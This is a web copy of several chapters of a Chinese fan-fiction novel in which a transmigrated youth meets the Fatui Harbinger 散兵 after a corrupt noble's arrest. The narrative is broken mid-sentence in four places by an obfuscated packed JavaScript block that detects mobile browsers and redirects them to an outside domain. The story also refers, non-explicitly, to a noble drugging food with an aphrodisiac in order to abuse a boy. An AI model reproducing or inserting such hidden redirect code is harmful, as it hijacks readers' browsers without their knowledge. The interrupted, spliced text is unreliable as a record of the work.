一道声音虚伪、敷衍,紧接着变得惊恐、无力;另一道声音则如听仙乐耳暂明。 乘晞不由得开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353571|183600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天马行空。虽然看不清正脸,但还是在脑海中描摹起散兵面容的轮廓。 讲话似乎是带着笑的,但应该是笑眯眯要人性命的类型。语气感觉是在闲聊的,但下一秒就把对面的心理防线完全击溃。 真是太完美了。骂人也很完美。嘴上抹了砒丨霜的样子更完美了。 世界上没有什么东西是完美的,乘晞想,如果有的话,一定是散兵。 “出来吧。”散兵说。 感受到空气中的静默,乘晞反应过来,拉基老爷已经被拖走了,因此这三个字的讲话对象恐怕是自己。 但他还是确认了一遍,“我吗?” 乘晞指了指自己,虽然对方大概率看不到他的动作。 散兵的声音似乎带了些无语,“房间里还有第三个人在?” 乘晞以最快的速度上下整理自己。他正了正领口,抖落衣摆蹭到的灰尘,又将凌乱的发丝理顺并调整到肩后,才扒着墙角,朝房门的方向探出了头。 散兵的身影终于完完全全落入他的眼帘。 初次见面,应当寒暄。出现在这种场合,应当解释自己的情况,说明被送往庄园的原因,讲清楚迟迟露面的理由。 可乘晞只是看着对方,久久的失语。 散兵一时间也没再讲话。 停顿片刻。他有些疑惑,“你怎么哭了。” 哭? 乘晞后知后觉,感受到颊侧传来的凉意。 他有些懊丧,又有些好笑,尽己所能整理仪容要以最完美的状态出现,却不知什么时候早已泪湿了双眼。 原来,比惊讶更惊讶的、比思念更思念的、比喜悦更喜悦的,那种情绪,是会让人哭的。 散兵有些看不懂乘晞的状态。那双金色眼眸中蕴藏着的东西,太汹涌也太复杂。 见对方直直的望着自己,无言但流泪,散兵不放心的又问一句,“你还好吗?” “我很好。”乘晞说。 他很好,非常好。从没这么好过。 “我只是……太开心了。没想到……见到你……终于。” 他断断续续的回答,并未注意到自己的语无伦次。 想要靠近,是刻在潜意识里的本能。等乘晞反应过来,他已经从角落站起,向对方走去。 而散兵也抬脚走向他。 两人相隔不过十数米距离,可惜乘晞一整天没有进食,猛然起身也导致头晕,他迈出不过三步,就双腿一软摔倒在地。 乘晞在心里叹气。先是不争气的流泪,然后又平地摔,原本还打算在对方心中留下的完美初印象,现在怕是破碎得一点都不剩了。 面前递来一只手。 散兵停在乘晞面前,半弯着腰,伸出的手臂掌心向上。 乘晞缓慢的眨了眨眼。 好近的距离!细密的掌纹清晰可见,好光滑的皮肤、好修长的骨节、好完美的手! 他努力把飘忽的思绪扯回来——对方向自己伸手,是准备扶自己起来——这么看摔倒好像也不亏,疼是疼了点,但间接造就了肢体接触。 散兵见乘晞迟迟没有反应,干脆托住对方的手腕,将对方拉了起来。 乘晞脑中的思绪再度三百六十度旋转:抓手腕就是牵手牵手就是喜欢喜欢就是爱爱就是结婚结婚就是幸福快乐在一起! 散兵看着始终沉默的银发少年,张了张唇,但没有说话。 有脚步声传来,是先前离去的下属。 “大人,”他正回来找散兵汇报情况,但见到旁边立着的银发少年,又止住了话头,向散兵投来请示的眼神。 下属并不认识乘晞,他与长官的谈话内容属于内部事务,不确定能否说给乘晞听。 “出去再说吧。”散兵道。 下属:“好的,大人。” 散兵又看向乘晞,“不必害怕,你现在已经安全了。” 他安抚道,“稍后我会派人来照看你,有什么需要就和他们说。” “好的,大人。”乘晞学舌。 散兵离去的动作一顿。 他垂着眼看过来,“这不是你用叫的称呼。” 乘晞点点头,随后期待的问:“那我可以叫你‘主人’吗?” 5. 05 沉默足足持续了十秒。 “不可以。”散兵一字一顿的回答。 “……好的。”乘晞说。 下属假装自己什么都没听见,猫着腰退出门外。 散兵也沿着回廊离开,身影很快消失在转角。 “大人,关于货物的具体情况,拉基全招了。我们跟随查探,咱们的货物完好无损,容器也并未受到破坏。” “那就好。” “在我们拆开之前,封条和锁扣都没有被动过的痕迹,”下属道,“大概拉基只是扣下了货箱,并没有打开过。” “如果打开了,他也没命活到今天。”散兵说。 “另外几人还在那边,正清点其余货物并登记对账。这个拉基不知道贪了多少,仓库里的赃物都快要堆到天花板,恐怕他干这种事情很久了,仗着天高皇帝远,肆无忌惮……” 这个镇子地处偏僻,坐落在至冬临近边界处,拉基老爷早些年与邻国做生意,销售至冬特产赚了不少钱,镇里的贵族也是类似的发家路数。逐渐在货运方面站稳脚跟后,拉基老爷打起了别的注意。 比起钱货交易,白拿的货物更能牟利。总有大量的货物经由运输路过边境,他尝试调包部分商品,以空壳或次品代替,等买主发现便以损耗为由推脱责任。后来胆子越发大了,便盯上更大体量的货物,直接扣押部分据为己有。长途运输往往消耗很多时间,且路程远线路长,买主即便追究,也很难追究到他这一环。 附近时有劫匪出没,拉基老爷派人击退劫匪的事迹广为人知,不但令丢失的货物有人背锅,更给他的货运博得了美名。没人知道,那勇击劫匪的事迹根本就是拉基老爷自导自演的一场戏码,直到愚人众查到对方身上。 五百年前,漆黑的灾厄降临于世,覆灭了古老的国度,令世间生灵涂炭。为抵御这场浩劫,各国付出了惨重的代价,或军士埋骨沙场,或神明陨落他乡。 如今,深渊的力量虽被压制,却从未消失。它们依然活跃在世界的角落,只待某日死灰复燃。提瓦特分七国治世,各国的理念或有不同,但与深渊对抗始终是所有执丨政的共识。 愚人众自成立以来,一直投入大量的精力于深渊的研究之中。 不久前,邻国出现了深渊物质外溢,在外驻守的愚人众成员设法取回部分样本。虽然愚人众掌握了某种传送手段,即在短时间内实现远距离的跃迁,但他们的传送技术基于深渊力量建构,因不明原因的力场相斥,深渊物质在传送过程中会受到破坏,只能通过运输送往至冬。 既要长时间保存又不破坏物质本身的结构,需要使用特殊研制的容器。而容器需要持续供能,供能设备复杂且不便携带。为掩人耳目且避过排查,他们便将设备装入货箱,与其他普通货物一起,借由车辆一路运送,跨越边境。 以往的运输过程从未出现意外,奈何拉基老爷实在不长眼,居然偷到了愚人众头上。 接应的愚人众成员迟迟没收到货物,还以为是天气原因受风雪影响。等接到货车的时候,货箱少了几截,而盛有深渊物质的那截也不翼而飞,他们立即着手寻找,并将此事上报给了至冬宫。 深渊物质的遗失非同小可,如不慎发生泄露,拥有元素力的人都不一定能逃出生天,更别提手无寸铁的平民百姓。万一事态发展起来,造成的死伤不堪设想。 愚人众的执行官被女皇赐予权柄,拥有超越凡人的力量,可与深渊抗衡。于是散兵接到了任务,带队前去处理。 他已经做好面临一场恶战的准备,好在事情并未朝最坏的方向发展,不过捉到一只胆肥心也脏的蛀虫。 “别的事情呢,他招了多少?” “别的?”下属疑惑,“拉基只说了自己贪财的事情。” “除了贪财,他还害人。”散兵沉下脸色。 一想到房间里的那位银发少年,他就觉得拉基这个垃圾该被千刀万剐。 早在推门而入的时候,散兵就察觉到房间里不止一人。 多年的战斗经验赋予了他敏锐的感知,且躲藏的那人气息不稳,全然没想过要收敛。 散兵静了几息,也没等到躲着的那位主动现身。他的余光从角落之处一扫而过。 主要目标拉基老爷就在面前,躲起来的多半是什么与之狼狈为奸的狐朋狗友。既然如此,先把正事处理完,再把角落里的小虫子揪出来也不迟。 等下属将拉基老爷拖走,散兵才不咸不淡的说了句“出来”。 他目光定在那里,本以为又会见到一张惊恐急惶的脸,却不成想,对方竟是个少年。 银发少年扒着墙角探出头,冲他露出了笑。 散兵实属意外的愣了下。 在这种时间、这样的场合,结合少年精致的面容、拉基老爷被拖走前无意供出的话,不难推测出少年为何会出现在此处。 对方是那位贵族老爷寻欢作乐的受害者。 尤其少年怔怔的望着他,没有动作,连眼睛都不眨一眨,两行清泪却毫无预兆的滚落。 散兵似乎也被对方的泪意烫了一下。 他身为执行官很多年,拥有一张俊俏的脸,却并不擅长安慰人,只是问了句哭什么。 少年却哭着对他笑,语无伦次的回答,说见到他很开心。 散兵不愿去设想,银发少年都遭遇了什么。明明是充满恐惧的,却还是如实回答了他的问话;明明是委屈无助的,却还是对他笑、口是心非的说自己真的很高兴。 散兵在心里给拉基老爷的名字打了个鲜红的叉号。 似乎察觉到他没有恶意,银发少年起身走向他,跌跌撞撞的,没几步便摔倒在地。 散兵向对方伸手,少年却没有反应。他只好主动将少年扶起来。拉住对方的时候,他察觉到少年纤瘦的手腕在剧烈颤抖。 如果心绪可以杀人,拉基老爷早就被散兵杀死无数次了。 想来也是,既然被贵族当做玩物,少年恐怕受尽苛责,因此连路都走不稳、不敢接受陌生人的帮助、被他触碰也下意识恐惧颤抖。 下属在此时回来汇报,散兵用尽量温和的话语安抚了少年。少年学下属的话叫他大人,散兵拒绝了,本意是对方不是他的下属,也不必如此恭敬。 那少年却仰着头,小心翼翼的问,能不能称呼他为主人。 少年或许并未察觉,自身讲出的话有多么惊世骇俗,可散兵不用想也知道,一定是拜那个拉基老爷所赐。 银发少年望向他的目光带着期盼,似乎生怕自己做错了事。恐怕对方在庄园里遭受过无数欺凌,才将讲出这样的称呼,视作取悦、讨好他人的手段。 散兵忽然觉得,仅仅是死亡都太便宜那个拉基了。 他严肃的拒绝了少年。心想纠正少年的认知或许还需时日,当务之急是给少年请个医生检查身体。 仓库里,拉基老爷被绑在一角。 他在方才得知了不速之客的身份,此刻正毫无尊严的求饶,“愚人众大人,我真没有故意贪你们的货物!给我一万个胆子我都不敢的啊!求求你们大人大量,饶过我这一回,我什么都愿意做的!” 审问这种货色,还用不着散兵亲自动手。 下属很有眼色的请示,“大人,我去叫那个吵闹的嫌犯安静。” “让他交待,他是怎么虐待那个银发少年的。”散兵吩咐,“他既然什么都愿意做,等下招出来,就让他把少年遭受过的如数经历十倍。” “是,”下属道,“保证撬开他的嘴。” 房间。 乘晞走向墙边的软沙发,向后一倒将自己整个人丢进去。 刚刚发生的一切仿佛还在眼前。 他现在脑子里天旋地转,总觉得一切都很不真实。 说起来自己到现在滴米未进,又绷着神经与图谋不轨的中登对峙,本应该是十分疲惫的,可经历了方才的一遭,饥饿感和疲惫感都消失殆尽,甚至使用游戏面板后造成的头晕都有所缓解了。 这就是见到自推的力量吗?乘晞满意的理理袖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353572|183600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口。他觉得自己现在强得可怕,浑身充满了力气,可以再锤爆十个拉基老爷。 想起被自己遗落的泡泡枪,乘晞走向不远处的地面,将其拿起,在意识中展开面板。 他试探着打开背包,使用收纳功能,泡泡枪就被成功收了进去,没再像上次那样出现头晕眼花。 看来自己恢复好了。 乘晞在刚穿来时使用地图传送,因不明原因失败并晕倒。他暂且推测,自己拥有的能力不足以支撑,所以消耗过度才失去意识。他不确定自己晕了多久,从被那伙人发现到自己首次使用背包,这期间某种力量恢复了一些,因此他误打误撞的取出了泡泡枪。在之后尝试面板功能会眼晕,直到刚刚再次恢复。 乘晞不清楚自己消耗的力量是什么。其他世界有什么“异能力”、“念能力”……乘晞想了想,自己的姑且根据提瓦特的设定,姑且算是“天赋能力”好了。 天赋能力的使用频次、波动区间、恢复方式、不同尝试的消耗异同等等尚不清楚,都需要自己探索,控制变量法不失为一个可行选择。乘晞决定找个合适的时机,静下心来慢慢摸索。 显然,现在并非摸索的合适时机,因为他的心一点都不静。 乘晞放松的后躺,将自己埋进沙发里。 他决定遵从本心,在意识中收起面板,缓慢回放自己见到散兵的每一帧画面——他能忍这么久不去想,就已经很不容易了。 世间怎么会有如此伟大的一张脸! 虽然这话乘晞在穿越前没少感慨过,但他只想说,有的话即便重复无数次也依然有再次重复的意义——因为它是真理。 彼时灯烛摇曳,隔着一条长桌的距离,他与对方遥遥相望。廊外的水晶灯逆着照过来,斗篷边沿的绒毛似乎也在发光,拥着那道踏光而来的身影。 乘晞脑中只有四个字——崩门,永存。 门外。 两位黑衣人并排,小心的向内张望,随后大眼瞪小眼。 大眼女子:“要进去吗?” 小眼男子:“要不再等等吧。” 看着沙发里的银发少年闭着眼,双手合十,似乎还念念有词。 女子奇怪道,“他有信仰?” 男子摇头,“不清楚。再看看。” 散兵走来时,就见到自己的两个下属如同做贼一般,时而向内张望,时而窃窃私语,但始终没有进门。 他轻咳了一声,两位下属齐刷刷的回头。 “怎么回事?”散兵问。 下属们的面色一言难尽,“这……您看看就知道了。” 散兵依言望向房间内,看到的便是这幅场景: 银发少年反着跪坐在沙发上,手肘撑着沙发背。一手捂嘴,似乎在极力压抑自己的声音,另一手攥成拳,一下下无声捶着墙。 散兵:“……他这种状态多久了?” 下属艰难回答:“从我们过来的时候,就这样了。所以属下们……一直没敢打扰。” 乘晞察觉到门口的声响,停下动作看过去。 见到散兵,他眼前一亮,迅速调整了坐姿,双腿自然下垂、两手交叠在膝上,十分乖觉的模样。 散兵带着两名下属向乘晞而来,在对面的沙发落座了。 没等对方开口,乘晞抢先一步道,“还没感谢你的救命之恩。” “不必言谢。”散兵说。 “不不不。”乘晞连忙拒绝,“谢是一定要谢的。” 怎么能和自己划清关系呢。 开玩笑,这可是救命之恩,自己不以身相许怎么能行? “我们从小就接受教育,做人要有一颗感恩之心,因此我不能知恩不图报,也希望你能够接受我的感谢。”乘晞一股脑的说出了组织好的言辞,“大恩大德,无以为报。我愿意做牛做马,以报答你的恩情。” “……”散兵委婉拒绝,“我身边不缺牛也不缺马。” 乘晞点点头,再次露出了似曾相识的期待神色:“那你缺狗吗?” 6. 06 “…………” 散兵望向对方,神色认真的回答,“没有这种需求。” 乘晞:“诶?” 散兵:“以后不要说这种话。” 散兵对银发少年平静表象下的内心尖叫一无所知。他只是见对方始终盯着自己,有些疑惑,下意识想说些什么。考虑到还不知道少年的名字,他便问了一句。 乘晞立刻报上了自己的姓名。 礼尚往来的,他也问起了对方的名字。 “愚人众成员多以代号相称,”散兵回答,“我是执行官之一,代号「散兵」。” 乘晞“喔”了一声,“散兵大人。” 散兵没再试图纠正对方的敬称,以免这家伙再口出什么主人与狗的惊世狂言。 “夜深了,庄园又偏,不太好去其他地方请医生。”散兵道,“我带了队里的人过来,帮你看看可有什么不适。” 两名黑衣下属一左一右的来到乘晞身边。二人就地取材,指着长沙发道,“请在这里躺平。”随后拖来高背椅坐下。 黑衣男看上去想扶一把,不过银发少年已经先行照做躺倒,没他想象中的那样虚弱。 黑衣女也问了句,“你身上有伤吗?” “没有。”乘晞回答。 “那就好。”黑衣女松了口气,收起随身携带的药箱。但不知想到了什么,面色又严肃起来。 “接下来,我会对你进行一个简单的检查。”黑衣男双手摊开,掌心浮现出浅淡的蓝色雾气,“你只需要放轻松。” 他的护腕处套着一枚深蓝的半球状物质,内里是流动的光泽,透明屏障之外,由不知名的茶色金属围绕着边缘镶嵌。乘晞第一次如此近距离的观察神之眼,不免多看了几回。 见他有些好奇,黑衣男便多解释了几句,“这是水系神之眼,我因此而拥有操纵水元素的能力。水草元素往往在治疗方面显现天赋,我对你进行的身体检查,也是在元素力的加持下展开的。” 谈话间,他已经检查完毕,收起了掌中的雾气。 乘晞小幅度的晃了晃脑袋。 这是一种很新奇的感受,虽然没有与对方产生直接接触,但他能清楚的感觉到,自己的身体被什么力量扫描了一遍。 黑衣男看了眼散兵,又对乘晞道,“没有皮外伤。” “刚才好像忘了说,”乘晞补充,“其实我根本没有受伤。” “那皮内伤呢?”黑衣女问。 “你是不是质疑我的职业水平?”黑衣男回怼。 黑衣女翻了半个白眼,“你想多了,我只是关心这个漂亮小孩。” 黑衣男一脸不服。 眼看着自己的下属开始内讧,散兵不轻不重的咳了一声。 两名黑衣人齐刷刷收声。 乘晞的角度看不见这几人的神态,只是听到了声音,转过身关切的问散兵,“你喉咙有不舒服吗?” 大有立即起身去给对方找水喝的趋势。 散兵瞥了一眼努力忍笑的下属,无奈对乘晞道,“好好躺着。别乱动。” 真不知道这家伙是怎么想的。自己都虚弱到平地摔倒,居然还有心思关心他的状态。 乘晞很听话的躺了回去,目光却依然落在散兵身上。 散兵被对方看得有些不自在,“你总盯着我做什么。” “想看你啊。”乘晞回答得坦然。 散兵也不知道对话怎么发展成了这种走向:“我有什么可看的。” “你好看啊。”乘晞说。 “……” 两名下属相互交换了震惊的眼神。 这银发少年看着既纤细又柔弱,说话的风格居然一点都不含蓄,还敢调侃他们的顶头上司! 也只有初生牛犊不怕虎能够解释了。 散兵身居执行官之位已久,平民们畏惧他,下属们尊敬他,政要们疏远他。同事们或与他貌合神离,或与他虚以为蛇,从没有人会这样和他讲话。 银发少年的语气直白、神色真诚,并不带有阿谀奉承的意味,也不含丝毫寒暄场面的成分,就好像对方是发自真心的这样认为、自然而然流露出的真情实感。 散兵已经记不清楚,他上一次遇见这样的场面是什么时候了。大概要追溯到数百年前…… 彼时他还是流落在外的人偶,姑且应被称作“倾奇者”,鼓足勇气尝试踏入属于人类的社会的时候,偶遇路边一位带孙女饭后消食的老奶奶。 祖孙二人原本只是路过,小女孩却拽着奶奶的手到退回来,停住脚步看了紫纱白衣的倾奇者许久。 懵懂的人偶察觉到人类的视线,疑惑开口,“请问,你为什么一直看我?” 小女孩晃晃手中的三彩丸子,送到人偶面前,想要与对方自己的美食,“你好看呀。” 散兵也不知道自己为什么会想起这些。 他眨了眨眼,将脑中的思绪丢回记忆深处。 乘晞见散兵没有反应,以为自己给出的解释不足以令对方信服。 他连忙道,“而且我喜欢你。” 散兵在一瞬间抬眸。 琉璃般的堇色眼镜中闪烁某种危险的光芒,室内温暖的空气都似乎在此刻凝滞。 察觉到气氛不对,乘晞欲盖弥彰的补充道,“我是说,我喜欢、看你。” “……” 两名黑衣下属再度疯狂交换眼神。 这少年不是勇士,是猛士!上一个敢对执行官大人说这种话的人,现在坟头草都已经两米高了! 散兵起身,向沙发上的少年走去。 下属们打起了眼神官司。 黑衣男:完了完了! 黑衣女:要动手了! 黑衣男:去劝一下吗? 黑衣女:想死你就去。 眼看着散兵停在少年面前,即将有所动作—— 黑衣女动了恻隐之心,一句“大人息怒”就在嘴边。 黑衣男也抢先开口,“大人,且慢!” 散兵莫名其妙的看了他们一眼,随后抬起手,四指并拢微屈,掌背在乘晞的额头贴了一下。 触手是滚烫的温度。 “都能把蛋煮熟了。”散兵道。 难怪开始说胡话。 两名下属连忙跟过来。 “原来是发烧了。”黑衣男摸摸下巴。 “就说你的治疗技术不行吧。”黑衣女发出嘲讽,一边找来毯子,给乘晞裹在身上。 “我检查的是有没有受伤,发烧属于身体状态,并不属于伤情。” “所以还是技术问题。” 两人虽在斗嘴,手上的动作却并未暂停,熟练的处理起了乘晞的情况。 散兵确认乘晞能受到熨帖的照顾,便离开了房间。 他能感觉到,在自己离去时,银发少年的目光依旧落在他身上。 对方的声音还回荡在他耳边。 “散兵大人”——下属也是这样称呼他的,分明是一模一样的四个字,从少年的口中叫出来,却多了些说不清道不明的意味。 散兵压下自己的思绪,快步走入冷风之中。 房间内。 乘晞窝在沙发里,背后垫了靠枕,身上被毛毯裹了好几圈,像个毛茸茸的球。 黑衣女没忍住,摸了摸少年的发顶——果然触感如同想象中那般,也是软乎乎的。 在交谈中乘晞发现,这两位愚人众成员并没有看上去那么高冷。 他觉得有意思,散兵这种上司,居然有如此话唠的下属。乘晞很快和他们聊了起来。 他从谈话中得知,二人此次跟随散兵前来,是为处理拉基老爷的事情,顺带解救了被困于此的他。 散兵麾下的队伍成员战斗属性点满,黑衣男因水系神之眼天赋的缘故,还兼任治疗师。黑衣女则是因为家中曾有妹妹,她会照顾孩子,因此和黑衣男一起,被散兵点出来照看乘晞。 “所以你们大人是以为,”乘晞问,“我被那个拉基老爷,给欺负了?” 两人齐齐点头。随后反问,“难道不是吗?” 乘晞耸了耸肩,“他没能得手。” 两人“哦哦”,“还好我们大人赶到得及时。” 他们自然想不到,乘晞凭一己之力对拉基老爷进行了致命打击,只以为是因散兵的介入,拉基老爷才被阻止。 乘晞也没争辩,而是按了按自己饿到现在的肚子。 没等他开口,黑衣女就道,“我猜你一直没吃饭,便让厨房那边做了夜宵,这会快该送来了。” “谢谢姐姐。”乘晞冲她弯弯眼睛。 “哇,真贴心啊。”黑衣男阴阳怪气。 “也谢谢哥哥。”乘晞雨露均沾道。 与同伴斗嘴的片刻,黑衣男也并未闲着,而是操纵手中的雾气附在乘晞额头,为对方进行物理降温。 元素力丝丝缕缕的渗入肌肤,带有不同于普通水汽的治疗力量,乘晞并不觉得难受,反而清凉凉的很舒爽。 不多时,饭食被人送来。为保险起见,乘晞透过面板看了一眼,确认餐食都安全无误。 他嚼着香喷喷的烤肉卷,舒适的眯起眼睛。 “你们不一起吃吗?” “我们用过饭了。” “现在感觉怎么样?”黑衣男问,“如果头晕加剧的话,我想办法找人去去配口服药。” “没有那么严重。”乘晞摇摇头。他第一次感受元素力治疗,效果比预计中好很多,“大概过了今晚,烧就能消退了。” “你困不困?”黑衣女给乘晞掖好毛毯,“困的话就睡觉。” “暂时还睡不着。” “那我们聊聊天,你有没有什么想听的?” 乘晞等的就是这句话。 黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“愚人众从来都遵纪守法,怎么会是□□呢。”散兵对下属吩咐道,“别让他死了,联系当地监察组织,届时移交处理。” 下属应是。 “大人,他还交代了,他在晚餐里给少年下了具有催情作用的药物,但对方没吃。” “那正好,”散兵道,“让他自己吃,免得浪费食物。” 拉基老爷被迫咽下了那些已经变凉的饭菜。 很快,掺杂的药物起效,他挣扎起来,却被束缚着动弹不得。但无人在意。 散兵的身影早已走远。 拉基老爷的声响被封在昏暗的仓库里,消散在窗外的冷风中。接下来直至被移交前的所有时间里,他都只能获得那些加过料的餐食,在无人理睬处绝望哀求。那些出自他手的恶果,终将被他吞入腹中。 下属跟在散兵身后,走入长廊。 他能察觉到,对方身上的气压有些低,因此一路上都没敢说话。 散兵则在思考刚才听到的招供。 拉基口中描述的那个乘晞,与他所以为的截然不同,甚至可以说判若两人。 在拉基的供述中,那少年察觉了晚饭有问题,不但没有声张,反而将计就计,狠狠扳回一城。且不知道从什么地方掏出了武器,出其不意的向拉基动手,时机准确、下手狠辣。 这样一个警觉、敏锐、富有心计的少年,在散兵面前,却表现得温顺、无害、虚弱无助。 回想着银发少年眼角的笑意、晶莹的泪水和那些含糊的话语,散兵不由得冷笑一声。 ——原来都是装的。 细想也没那么令他意外。 散兵脚下带风的回到房间,不怎么轻柔的推开了门。 沙发上,三人正依偎在一起,有说有笑。乘晞在最中间,正比划着什么,两名下属都被他逗得忍俊不禁,一个帮他拿零食,另一个帮他拿水杯。 好一副温馨的画面。散兵在心中冷嗤。 见长官回来,黑衣人们立刻坐正。似乎也察觉到自己的行为有失形象,他们便站起来,向散兵弯腰行礼。 乘晞也跟着要从沙发起身,又被二人按了回去。 散兵冲二人摆了下手,目光落在乘晞身上。 “你有什么想对我说的么?” 乘晞立刻点头:“有。” 他现在有一件事情亟需澄清。 还算坦诚——终于不装了。准备露出真面目了么? 散兵丢下一个字,“说。” 乘晞:“你是不是以为,我经历了这一遭,已经变成了一具破败残躯。” “其实并不。”他坚定道,“我始终为你守身如玉。” 7. 07 散兵几乎要被气笑了。 乘晞则托着腮,看向对方。 散兵无言片刻,“你只准备和我说这个?” 乘晞点头,“因为怕你误会。” “……”散兵不是很理解他有什么误会的必要。 但转念一想,对方既然有心伪装,恐怕早已习惯于逢场作戏,现在也在扮演无害的模样,并不清楚自己已经看破了其中的谎言。 既然如此,现在直接戳破真相,除了会打草惊蛇,得不到更多的有效信息。倒不如利用这个信息差,从对方口中套出其背后的真正图谋来。 散兵心念电转,面上却未曾表露出分毫。 乘晞没能得到回应,疑惑的眨了眨眼。 散兵在心里嗤笑,这样的演技,不去枫丹进修表演学真可惜了。 他语气却放温和了些,坐在乘晞的不远处,如同闲谈般开口,“你看起来,不太像本地人。” 乘晞“啊”了一声,“确实,我是从……外面来的。” 他大可以胡诌自己的具体来处,却不愿对散兵敷衍。可穿越这种事情太过离奇,也不好贸然坦白,乘晞只好模糊了答案,才有了话音中的停顿。 散兵顺着问下去,“那你是哪里人呢?” “我也……不知道。”乘晞回答。他不是这个世界的人,因此在这个世界并无身份,更无来处。 “你是记忆有损吗?”散兵关心道,“你可还记得自己为什么会来庄园?” “我是被几个社会青年骗过来的,那些人多半和拉基老爷有来往。”乘晞道,“我当时晕倒在雪地里,那些人趁我失去意识,将我带上篷车,以看医生的名义把我骗去庄园。至于晕倒前的记忆,我什么都想不起来了。” 他隐瞒了穿越的事情,也没有提起自己尝试使用意识中的游戏面板。除此之外,都对散兵如实相告。 “原来是这样。” 散兵略微颔首,看起来已经相信,却在心中反驳了对方说出的每一个字。 失忆?如此拙劣的借口,也亏对方能想得出来。 散兵早就在拉基老爷口中得知,少年自称是跟随商队行经此处。虽然这个行商之子的身份很可能是假的,可少年面对他时却连提都没提,直接说什么都记不起来。 连假身份都懒得编一个……散兵不由怀疑,究竟是这少年对骗术太自信,还是他自己看上去太好骗。 乘晞取来干净的银杯,倒了些温水,轻轻推到散兵面前。 作为一个病号,还主动照顾起旁人来——散兵暗想,真是好演技。若非自己知晓对方别有图谋,恐怕会一直被蒙在鼓里。 “失忆不是小事,”散兵说,“明天我再请医生来,给你仔细的看一看。” 乘晞攥着手指,“麻烦你了。” 早在散兵摆手的时候,黑衣下属就很有眼色的离开了。此刻屋内,只有他与乘晞二人。 银灰的发丝从少年颊侧垂落,失去了降温的水雾后,发烧的眩晕感卷土重来,带着热意的红晕从颧骨处浮现而出。 人在生病的时候,往往都比较脆弱,更有可能露出破绽。 散兵在心中思量着,余光注意到少年神色逐渐朦胧,显然头晕加重、又泛起困意,眼皮开始打架。 他状似不经意的问,“以后可有什么打算?” 乘晞模糊的“嗯?”道,“还没有。” 他揉着眼睛,努力让自己保持清醒,“暂时还没有想好。不过……我可以跟着你们吗?” “跟着我们?”散兵没同意也没拒绝,“为什么。” “我失去了记忆,现在本来就无家可归,”乘晞把下巴抵在抱枕上,一副可怜的模样,“无处可去了。” 愚人众又不是慈善组织,见什么人都会发善心。散兵在心里冷笑一声。不过这家伙既然装失忆,按照逻辑扮可怜也并不奇怪。 “你跟着我们行路,会很无趣、也很辛苦。” “没关系,”乘晞道,“我都能克服。” 他本是试探的一提,却不成想对方没直接拒绝,那就有答应的可能。 “我们只是赶路,之后还有事情要做,没办法一直带着你。” “没关系的,反正我也不知道去哪里,不如先随你们一程。之后就把我放下,我绝不打扰你们的公务。” 原来目的是为打探他们的行程。还做了如此多的铺垫,真是拐弯抹角。 “等我们处理好这边的事情,就会返回至冬城。”散兵并不吝啬抛出诱饵,向对方透露了他们此行的目的地,“那里是这个国家的都城,比镇上的条件好很多,你也可以再谋出路。” 乘晞“唔”了一声,犯困的眯起眼睛。 “可有想过,到那边之后,你要做什么吗?”散兵轻声问。 “大概是想办法加入愚人众。”乘晞嘟囔。 还真暴露了本性。看来这家伙打的主意,恐怕是混入他们内部。 “愚人众不是什么好去处,更不是什么好归宿。”散兵的声音听起来依旧关切,“你这个年纪,更应该去读书或者享受生活,何必自找苦吃。” “可我想离你近一点。”乘晞喃喃。 他话已出口,又仿佛才意识到自己说了什么。银发少年艰难的与困意对抗,睁开眼睛瞧散兵。 散兵没兴趣看对方继续演戏,决定终止话题。 “夜深了,你好好休息。” 他拿起水杯,塞进了乘晞手中。 乘晞握着银杯,感受着杯壁传来的温度,晕乎乎的问了句,“你喜欢喝水吗?” 散兵疑惑,“怎么了。” 乘晞不答,只是将问题再重复了一遍。 “喜欢。”散兵随口说。 “人体的含量百分之七十是水。”乘晞冲他弯弯眼睛,“所以,你已经喜欢百分之七十的我啦。” 散兵:“…………” * 两位下属跟随着散兵,来到僻静无人处。 “你们觉得,那个乘晞怎么样?” 黑衣男女对视,显然不明白顶头上司此问何意。 黑衣女:“挺可爱的,一个善良的小孩。” 黑衣男:“他很崇拜您,没什么坏心思。” “是么。”散兵嘲弄的牵了牵唇角,心说有这样脑子的下属在高层,愚人众迟早要完。 “那你们给我讲讲,我不在的这段时间里,他都和你们做什么了。” 下属们察觉到气氛不对,如实以告道:“我给他准备了吃食。”“我给他进行了舒缓治疗。” “然后我们就聊天,那少年说他想听您的故事。” “所、所以,我们就讲了一些。” 散兵冷声:“你们怎么不干脆把样品货箱、容器秘钥也一起告诉他呢?” “大人,我们只是闲聊,”黑衣男道,“绝对没有透露机密!” “是的,请您明鉴,”黑衣女也保证,“我们绝不敢犯原则性错误 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 